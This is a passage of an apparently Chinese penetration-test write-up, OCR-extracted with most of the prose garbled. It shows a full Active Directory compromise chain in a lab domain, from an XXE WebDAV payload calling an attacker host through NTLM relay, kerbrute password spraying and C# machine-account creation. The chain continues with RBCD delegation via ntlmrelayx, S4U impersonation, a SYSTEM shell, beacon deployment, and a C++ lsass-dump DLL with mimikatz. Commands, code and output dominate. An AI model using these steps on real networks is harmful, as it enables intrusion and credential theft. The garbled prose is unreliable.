3. MRz : YRl challenge [FEFimAE hash J& challenge 11%%, £ NTLM Response FERRIXAIRSSES,

NTLM BHIIERETRIAMMAINY, RSFAE—IMED, ERRGXINERIHTEE. WRFISRSFTENRT
Bo, NEZSMHIGIE.

1. (NTLMSSP_NEGOTIATE) Ll S

< 2 EE(INTLMSSP_CHALLENGE)
3MERI(NTLMSSP AUTH) >
e ey

4EALTH or S5
A Server B



http://davenport.sourceforge.net/ntlm.html

HET NTLM BN ARGATE, (1B NTLM sk, N T™ERR, R TILALL Client A [@FA{I8Y Evil Server
X, & NTLM AIE, BBAFEAIFETLLZ Client A B ISUHEE XM Server B HITIALE, IXERE ntim gk, FRNXEB(RS
RN TIBASZATE w Akt 4, SHEFEARS.

Clieht A

Evil Server X




XPET NTLM =4k, 254 Java WEBDAV XXE R9YEFS, FUE HTTP 401 B9IAME, FAIRTLAERERIF WEBDAV fRSSE580 &M
EEARRINE, 1HEEELI9EA 1R WEBDAV fR53=5.

4.2.2 {EtgRIEtEa MR

EXEREERFERA T, AEARRTPHRA? S+ AARR Ghidra M XXE 2| RCE F1 Ghost Potato EiREIISZE
Relay [EIH51ER RPC #HTHRXE(F, TEEN=RKFYE? E9iXA WEBDAV g5 system fPRIZ1THY, MM system Ik
1 Relay BH2R s KIEKRY, iRBENERESNIR RPC 21, ATEIXEAREEERZ Relay BIESEFA RPC,

Servers started, waiting for connections

HTTPD: Received connection from 192.168.20.55, attacking target smb://192.168.20.55:445
HTTPD: Client requested path: /

HTTPD: Received connection from 192.168.20.55, attacking target smb://192.168.20.55:445
HTTPD: Client requested path: /

HTTPD: Client requested path: /
Authenticating against smb://192.168.20.55:445 as BLUETEAM\DEV2$ SUCCEED
DCERPC Runtime Error: code: ©x5 - rpc_s_access_denied

BEPATBEEIZ Relay RIESERA RPC, FAM—MRERS, AETRRAYREZIR—FALERER.

EEIETRRARFRATHAN, FEE— WISKFXREES (XEWEAHSIANER, MMZzERE—ES SPN 9K
P, EFARNRERFE—MNKFH TGT, m— M=K RAETEARE, SERAVEKFIARE—L SPN, XL SPN &
BTHNEESBRIM cifs &, XEHAMRT, AARNE—RBYXET, EEA—BVSEKFRMEA) |, mEIAEEE9 ms-DS-
MachineAccountQuota BHZERITTEEAFE—MERINZIX 10 MENKS,, MERRAEG—NMEEEMILERR
EERINNEEWS. XNMEREATLAREARERKS. RSWF. 88K,

BAERENKT , BRAFE— MK, , BIEEERY


https://xlab.tencent.com/cn/2019/03/18/ghidra-from-xxe-to-rce/
https://shenaniganslabs.io/2019/11/12/Ghost-Potato.html

system MK Relay BT sk Kigk

XAHETTRAY vk, BHUERICHAY WEBDAV BRSSERAIFEEKA, ATATRBERXMIREKS, EECEBIN—1ME? 7
R Lrwmskzr NREZMZANE, HKIIFERNSEKFERE TGT 28, BEI1WRA WEBDAV IRSS=sAITEEK,,
MNAFEX MBI ERSHE hash, [ REINEERRIE TGT. MERZFHNCUZEAWEEK,, RNEAEZFBRY, XEARE
S TGT T, XEHMAERANRESHT Y, BEEmERIRNIERESR, SXENRFEILUBTES.

[EEERE, FHAVEAESPEEE— MK,

BANEEZRIRY discuz FIEEFRIBFREIEMFE, FiEid kerberos AS_REQ IXEIERFIMTAF R EEFE.

TH: https://github.com/ropnop/kerbrute
root@kali:~/tools# ./kerbrute_linux_amd64 userenum --dc 192.168.20.50 -d blueteam.com username.txt

S

- N __/ __ N\ ___ -/ _\

S/ SIS S S S

VA4 T AN A A Sy A A Ny A N A N 4

Version: v1.0.3 (9dad6el) - 02/27/20 - Ronnie Flathers @ropnop

2020/02/27 10:30:52 Using KDC(s):
2020/02/27 10:30:52 192.168.20.50:88

2020/02/27 10:30:52 [+] VALID USERNAME: n@thing@lueteam. com
2020/02/27 10:30:52 [+] VALID USERNAME: administrator@lueteam. com
2020/02/27 10:30:52 Done! Tested 3 usernames (2 valid) in 0.001 seconds




\

E TR discuz BYERBEE] cmd5 ERLERE, BEEAINAESDBAFPNEREBEZ resord , TRER smwy (— N8
ﬁgmz:lﬁlﬁﬁ)t'%ﬁ’ﬂ‘,fﬁé‘f KDC *ﬁ‘aé) , EEIszxHYEUT—ﬁ\iEE‘,%?E nO0thing@blueteam. com:P@sswOrd

root@kali:~/tools# ./kerbrute_linux_amd64 passwordspray —dc 192.168.20.50 -d blueteam.com username.txt 'P@ssword'

/7 S/
—/ NV S N
AN YAV
— S/ NN/

Version: v1.0.3 (9dad6el) - 02/27/20 - Ronnie Flathers @ropnop

2020/02/27 10:33:33 > Using KDC(s):
2020/02/27 10:33:33 > 192.168.20.50:88

2020/02/27 10:33:33 > [+] VALID LOGIN: n@thing@blueteam.com:P@sswlrd
2020/02/27 10:33:38 > Done! Tested 3 logins (1 successes) in 5.002 secondsl

BT EREMESEEIRIE [dap imIEEW, T, AEARH. net ERMNMFES, H System.DirectoryServices.Protocols iX
MNRIRERHMEELIIZINEE.

System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier
(DomainController, 389);
NetworkCredential nc = new NetworkCredential(username, password);

System.DirectoryServices.Protocols.LdapConnection connection = null;
connection = new System.DirectoryServices.Protocols.LdapConnection(identifier,nc);

connection.SessionOptions.Sealing = true;

connection.SessionOptions.Signing = true;



connection.Bind();

var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAt
tribute[] {

new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),

new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName"”, sam_account),

new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl"”, "4096"),

new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd"”, Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password +
"),

new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),

new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain, "RestrictedKrbHos

t/"+machine_account+"."+Domain, "HOST/"+machine_account, "RestrictedKrbHost/"+machine_account)

connection.SendRequest(request);

Console.WriteLine("[+] Machine account: + machine_account + " Password: "+ new_MachineAccount_password + " added");

BAOHNREAFERIXEAERME: "M xxe th4r2lEd=RY |dap AERIN—MRRIKFAER4%? MREXAERERN! ", 8
xEEiEWf'EZ:ﬁFFE%DD%E’\JE?%L@U@%I‘%WI}KF', XEXFINZSRE tls/ssl #1 sasl, XE—HAIFNIR, XEHAMGI T,

A. net BRYNTEREMISRII_E T — MI=RIKF.

C:\Users\Administrator\source\repos\ConsoleApp8\ConsoleApp8\bin\Release>ConsoleApp8.exe n@thing P@sswdrd
[+] Domain = blueteam.com
[+] Domain Controller = 192.168.20.50

[+] New SAMAccountName = evilpc$
[+] Distinguished Name = CN=evilpc,CN=Computers,DC=blueteam,DC=com
[+] Machine account: evilpc Password: 123456 added




&P =|fEA) EFNV) EBEH)
e 2w o/ XEBez B 23T %

"1 Active Directory BF#ITEN | €% E-iu) =R
p [0 FNES 1% DEV1 g=tilt
4 33 blueteam.com &I DEV2 HEH
b | Builtin & evilpe HHEEH,
| Computers
b | Domain Controllers l
p | ForeignSecurityPrincip:

PERNETIRKS, FTENANRETRRIVCRER.

4.3 BF HFRLIRER

Windows Server 2012 FFTIIAN T ET kerberos FFRHZIREIR (rbed), SEFRRIZIRZIRIELL, B
AESEREERNEHITESE, JUUAEEENEEKS EAE msDS-AllowedToActOnBehalfOfOtherldentity BHHRIREER
FRENUREFIR. WEMEIEREEHIMLR e LUEIASRESAR, ARRIZITE (dev2) #HTHMHKIE. Ems
2. NRFATTLMESZ BB AR IMEERE— KN EERAERE, BIZE=RBANIXENES (dev2) £, AREXKEREE
XX ENES (dev2) HITIAE (XERZEEREA, AJReANER, BEGIE £rumnskzr BMNIEATRESSR, £&
BAEUREREESETD) .

IERA IFHASEPMRIE, E5aEFR180 VPS ERIA impacket TE®AHEY ntimrelayx.py TR,



./ntlmrelayx.py -t ldap://adl.blueteam.com -debug -ip 192.168.20.140 --delegate-access --escalate-user evilpc\$

ARG xxe 1BKFAIBY VPS, EZEBEREPUIIFITIRSIM LDAP RS LiIREETFRBENIEREIKR.

Running in relay mode to single host | send | [ <Iv
Setting up SMB Server

Request

Servers started, waiting for connections
Setting up HTTP Server Raw | Params THeaders IHex TXML ]

HTTPD: Received connection from 192.168.20.52, attacking target ldap://adl.blueteam.com PROPFIND /webdav HTTP/1.1
HTTPD: Client requested path: / Host: 192.168.20.52:8080
HTTPD: Received connection from 192.168.20.52, but there are no more targets left! Content-Length: 239

HTTPD: Received connection from 192.168.20.52, attacking target ldap://adl.blueteam.com 2xml version="1.0" encoding="UTF-8"2:

HTTPD: Cl}ent requested path: / <1DOCTYPE propertyupdate [

HTTPD: Client requested path: / <!ENTITY loot SYSTEM "http://192.168.20.140"> ]>

Authenticating against ldap://adl.blueteam.com as BLUETEAM\DEV1$ SUCCEED <D:propertyupdate xmlns:D="DAV:"><D:set><D:prop>
] Enumerating relayed user's privileges. This may take a while on large domains <a xmlns="http://xx.e">&loot;</a>

User is a member of: [] </D:prop></D:set></D:propertyupdate>

User is a member of: [DN: CN=Domain Computers,CN=Users,DC=blueteam,DC=com - STATUS: Read -

READ TIME: 2020-03-02T21:23:04.941679
distinguishedName: CN=Domain Computers,CN=Users,DC=blueteam,DC=com
name: Domain Computers
objectSid: S-1-5-21-789757268-3646409368-1665658965-515

Currently allowed sids:
5-1-5-21-789757268-3646409368-1665658965-500
5$-1-5-21-789757268-3646409368-1665658965-1108
5-1-5-21-789757268-3646409368-1665658965-1108
5-1-5-21-789757268-3646409368-1665658965-1108
5-1-5-21-789757268-3646409368-1665658965-1117

[*] Delegation rights modified succesfully!
[*] evilpc$ can now impersonate users on DEV1$ via S&U2Proxy

B s4u i RIEEMRER,
python getST.py -dc-ip adl.blueteam.com blueteam/evilpc\$:123456 -spn cifs/devl.blueteam.com -impersonate administrator
BEELIEMETLAERER WEBDAV fRSB3EET

export KRB5CCNAME=administrator.ccache

python smbexec.py -no-pass -k devl.blueteam.com



*C 3 # python getST.py -dc-ip adl.blueteam.com blueteam/evilpc
\$:123456 —spn cifs/devi.blueteam.com -impersonate administrator

Impacket v0.9.21.dev1+20200225.153700.afe746d2 - Copyright 2020 SecureAuth Corporation

[*] Getting TGT for user
[*] Impersonating administrator
[*] Requesting S4U2self
[*] Requesting S&4U2Proxy
[*] Sav1ng ticket in administrator.ccache
# export KRBS5CCNAME=administrator.ccache

# python smbexec.py -no-pass -k devi.blueteam.com
Impacket va 9.21.dev1+20200225.153700.afe746d2 - Copyright 2020 SecureAuth Corporation

[!] Launching semi-interactive shell - Careful what you execute
C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>hostname
devl

C:\Windows\system32>}}

A RCE IRRRLSER T, BEREREENIIE, SEEBERBER, Tt Lt— GIF EREA RCE IR, EFREHEAZ
TR,



o EH [ blueteam_dc1_2012 [ other_kali [ blueteam dev1 2012

Burp Project Intruder Repeater Window Help

Dashboard | Target

ali: ~[toolsfimpacket/examples

v Target: http:

root@kali: ~/..cket/examples ¥
Response

Raw | Headers | Hex | XML

HTTP/1.1 207 Multi-Status

server: Apache-Coyote/1.1
Content-Type: text/xml:charset=UTF-2
Content-Length: 2513

F-8"7> Date: Mon, 02 Mar 2020 13:21:59 GMT

T

Kali Live L168.20.140"> I> <7yml wersion="1.0" encoding="utf-8" 7=

'><D:set><Diprop> <multistatus xmlns="DAV:"><response><href>/webdav/</href>

- <propstats<props<creationdate»2020-02-27T03:27:422</creationdates

ates <displayname><! [CDATA[1]></displayname>

<resourcetype><collection/></resourcetype>

<sources<fsources>
<supportedlock=<lockentry=<lockscopes<exclusive/»</lockscope=<locktypes<nrite/></1lo
ckentry><lockscope><shared/></lockscope»<locktype>=urite/></locktype></lockentry=</
</prop>

<status>HTTP/1.1 200 OK</status>

</propstat>

</responses

<response><href>/webdav/tomcat.gif</href>
<propstats<propr<creationdate>2007-03-05T15:26:07Z</creationdates
<displayname><![CDATA[tomcat.gif]]></displayname>

Configlibrary <getlastmodified-Mon, 05 Mar 2007 15:26:07 GMT</getlastmodifieds
<getcontentlength>1934</getcontentlength>
<getcontenttype>image/gif</getcontenttype>
<getetag>W/"1934-1173108367453"</getetag>

<resourcetype/><source=</sources
<supportedlock=<lockentry=<lockscopes<exclusive/»</lockscope=<locktypes<nrite/></lo
ckentry><lockscope><shared/»></lockscope»<locktypes<urite/></locktype»</lockentry»</
</prop>

<status>HTTP/1.1 200 OK</status>

</propstats

</response>

<response=<hrefs/webdav/tomcat-power.gif</hrefs
<propstat=<prop=<creationdate=2007-03-05T15:26:08Z</creationdates
<displayname><![COATA[tomcat-power.gif]]></displayname>
<getlastmodified-Mon, 05 Mar 2007 15:26:08 GMT</getlastmodifieds>
<getcontentlength=2324</getcontentlengths
<getcontenttype>image/gif</getcontenttype>
<getetag>W/"2324-1173108368500"</getetag>
<rESOUrCETYpe/><SO0Urces</Sources

4.4 REHERIIN
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ERLGEPHAERNMIAG
A

TR, SN2 KSAPRERGHESXT dev2 H1E28HHT pass the ticket BITFEREH
IR? FEHEY smbexec.py S#F=&AY.

# python smbexec.py -no-pass -k -debug dev2.blueteam.com

Impacket va 9.21.dev1+20200309.134159.0b46f198 - Copyright 2020 SecureAuth Corporation

[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]
[+]

Impacket Library Installation Path: /usr/local/lib/python2.7/dist-packages/impacket-0.9.21.dev1+20200309.134159.0b46f198-py2.7.egg/impa
StringBinding ncacn_np:dev2.blueteam.com[\pipe\svcctl]

Using Kerberos Cache: administrator.ccache

Domain retrieved from CCache: blueteam

Returning cached credential for CIFS/DEV2.BLUETEAM.COM@BLUETEAM.COM

Changing sname from cifs/dev2.blueteam.com@BLUETEAM.COM to cifs/DEV2.BLUETEAM.COM@BLUETEAM and hoping for the best

Using TGS from cache

Username retrieved from CCache: administrator

Executing ¥%COMSPECX /Q /c echo c¢d *> \\127.0.0.1\C$\__output 2°>"81 > XTEMPX\execute.bat & XCOMSPECX /Q /c ¥TEMP¥\execute.bat & del ¥T

Traceback (most recent call last):
File "smbexec.py”, line 151, in run

self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName)

File "smbexec.py", line 198, in __init__

self.do_cd('")

File "smbexec.py", line 230, in do_cd

self.execute_remote('cd ' )

File "smbexec.py", line 274, in execute_remote

self.get_output()

File "smbexec.py", line 248, in get_output

self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)

File "/usr/local/lib/python2.7/dist-packages/impacket-08.9.21.dev1+20200309.134159.0b46f198-py2.7.egg/impacket/smbconnection.py”, line 799

raise SessionError(e.get_error_code(), e.get_error_packet())

SessionError: SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)

(-]

el X

SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
: # 11

BR5I HERER smb _EE— beacon BEI LI SIRZHIT beacon 2228, 29X beacon.exe ZEHITH

;.'éﬁfio



external internal = user computer note pid last

# python psexec.py -no-pass -k -debug dev2.blueteam. P | *
com -service-name test -file /tmp/beacon.exe ¥ 192.168.20.55 192.168.20.55 SYSTEM DEV2 6432 5s

Impacket v@0.9.20 - Copyright 2019 SecureAuth Corporation

[+] StringBinding ncacn_np:dev2.blueteam.com[\pipe\svcctl]

[+] Using Kerberos Cache: /root/tools/impacket-0.9.20/examples/administrator.ccache

[+] Domain retrieved from CCache: blueteam

[+] Returning cached credential for CIFS/DEV2.BLUETEAM.COMQBLUETEAM.COM

[+] Changing sname from cifs/dev2.blueteam.com@BLUETEAM.COM to cifs/DEV2.BLUETEAM.COMQBLUETEAM

and hoping for the best
Using TGS from cache
Username retrieved from CCache: administrator
Requesting shares on dev2.blueteam.com
Found writable share ADMIN$
Uploading file XwSKeQKT.exe

Opening SVCManager on dev2.blueteam.com

Creating service CTde on dev2.blueteam.com Eventlog X | Listeners X
Starting service CTde name payload host port | beacons
http windows/beacon_http/reverse_http 192.168.20.140 80 192.168.20.140

4.4.2 S5d-<BHRESN Isass RRIEEES

RSN EES T TS EERSSTXANE, [EANSENENE0. NEENM AR NIE, BEELINTE)
S-S EER RV IMRERLD, BATHEHEXIDILEM Isass ARMENEIBMAVE S AREES, BNEIRERMEEEIPE dump T
B, FRMHA mimikatz T,

[BATEEIMARER FERI T —RmiBid RPC ERLRIN— SSP dIl B9XE Exploring Mimikatz - Part 2 - SSP , SSSARREME
TR, Isass E%é@wﬁjuiiﬁam?ﬂ%, hnzk dil 2 Isass #HEPAR dump REAZRHMAILARIS 7?7 ARRIN: wEEABREL
ERIRHRRAE T,

TEHMFXMEED ssp_dll.c RAEBEE— dump #HEREZEH dll,

#include <cstdio>

#include <windows.h>

#include <DbgHelp.h>

#include <iostream>

#tinclude <T1lHelp32.h>

#tpragma comment(lib, "Dbghelp.lib")
typedef HRESULT(WINAPI* _MiniDumpW)(


https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://gist.github.com/xpn/93f2b75bf086baf2c388b2ddd50fb5d0

BOOL APIENTRY D11lMain(HMODULE hModule, DWORD

DWORD argl, DWORD arg2, PWCHAR cmdline);

typedef NTSTATUS(WINAPI* RtlAdjustPrivilege)(

ULONG Privilege, BOOL Enable,
BOOL CurrentThread, PULONG Enabled);

int dump() {

HRESULT hr;

_MiniDumpW MiniDumpW;
_RtlAdjustPrivilege RtlAdjustPrivilege;
ULONG t;

MiniDumpW = (_MiniDumpW)GetProcAddress(
LoadLibrary(L"comsvcs.d11"), "MiniDumpW");

RtlAdjustPrivilege = (_RtlAdjustPrivilege)GetProcAddress(
GetModuleHandle(L"ntd11l"), "RtlAdjustPrivilege");

if (MiniDumpW == NULL) {

return 0;

RtlAdjustPrivilege(20, TRUE, FALSE, &t);

wchar_t ws[100];
swprintf(ws, 100, L"%hs", "784 c:\\1.bin full");

MiniDumpW(@, 0, ws);

return 0;

switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:

dump();
break;

ul reason_for_call,

LPVOID lpReserved) {



case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:

break;

¥
return TRUE;

}

XEEFEad T -REEFE dump 27T Isass IRET.
[;“anpﬂ vil. dll

[*
[+
[: C
[*
[+
¢

wuu'lln: ':_1 1rC |-|m'1e:1'F1 _._111

bspirlonnectRpe Ret 0O

Sending SspirCallEpc call

Error code Oxbcb returned, which 1s expected 1f DLL load returns

58, 807,929 1. bin
<DIE> Perflogs
{DIR> Flu*raan
<DIE> Program Fi
{DIE> Users

<DIR> Win@gﬂf
A% 58, 907, 929 FT
| E% 47, 232, 073, 728




RSN mimikatz ENRFRAMR T, LIUDEE.,

mimikatz # sekurlsa::minidump 1.bin

mimikatz # sekurlsa::logonPasswords full

S=1-5-21-7889757268-3046409368-1665658965-500
msy .
L00000003] Primary
* [sername . Administrator

* [l |:|1TLEliI'l = E-LUETE
* LI . b30eZ
* NT

=5

LN
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BENEE, RIBGHTRRE.
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